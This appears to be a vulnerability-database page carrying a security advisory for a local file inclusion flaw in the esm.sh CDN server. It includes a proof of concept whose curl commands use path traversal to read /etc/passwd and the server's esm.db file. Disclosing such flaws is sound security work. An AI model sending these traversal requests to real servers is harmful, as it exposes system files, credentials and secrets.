EUVD-2026-252910

fkie_cve-2025-59341

esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

GHSA-49pv-gwxp-532r — esm.sh has File Inclusion issue

Affected: Go: github.com/esm-dev/esm.sh

## Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise. **Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

---

## Proof of Concept

1. Using this default config file that I copy from the repo, the server is running at `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`

```json { "port": 9999, "npmRegistry": "https://registry.npmjs.org/", "npmToken": "******" }

```

2. Trigger the LFI vulnerability by sending this command below to read a local file

```bash # read /etc/passwd curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1' ```

--…

openSUSE-SU-2025:15576-1 — govulncheck-vulndb-0.0.20250924T192141-1.1 on GA media

govulncheck-vulndb-0.0.20250924T192141-1.1 on GA media

Most recent entries from all

EUVD-2026-252910

fkie_cve-2025-59341

GHSA-49pv-gwxp-532r — esm.sh has File Inclusion issue

openSUSE-SU-2025:15576-1 — govulncheck-vulndb-0.0.20250924T192141-1.1 on GA media